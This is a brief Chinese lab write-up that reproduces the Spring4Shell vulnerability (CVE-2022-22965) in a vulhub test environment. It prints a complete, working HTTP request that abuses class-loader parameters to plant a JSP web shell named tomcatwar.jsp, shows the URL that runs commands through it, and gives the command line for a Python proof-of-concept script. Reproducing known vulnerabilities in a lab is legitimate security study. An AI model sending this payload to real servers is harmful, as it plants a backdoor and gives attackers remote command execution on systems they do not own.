CVE-2022-22965 漏洞复现

环境搭建

拉取cve-2022-22965环境（vulhub拉去环境并打开漏洞环境）
访问靶场环境是否可正常访问
此时我们可以正常访问页面，说明我们的靶场环境可以使用。

构造url地址

```bash
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2

此时已将tomcat的日志存储位置已修改为：tomcatwar.jsp，此文件是小马文件，可执行远程命令。
http://192.168.65.130:8080//tomcatwar.jsp?pwd=j&cmd=id*
此时，手工漏洞已复现结束。

python脚本复现

在靶场环境搭建可访问的情况下，运行python文件，可直接进行远程命令执行

执行格式 ：python3 Spring_vulhub_CVE-2022-22965_poc.py --url=url:pro
结束！！！
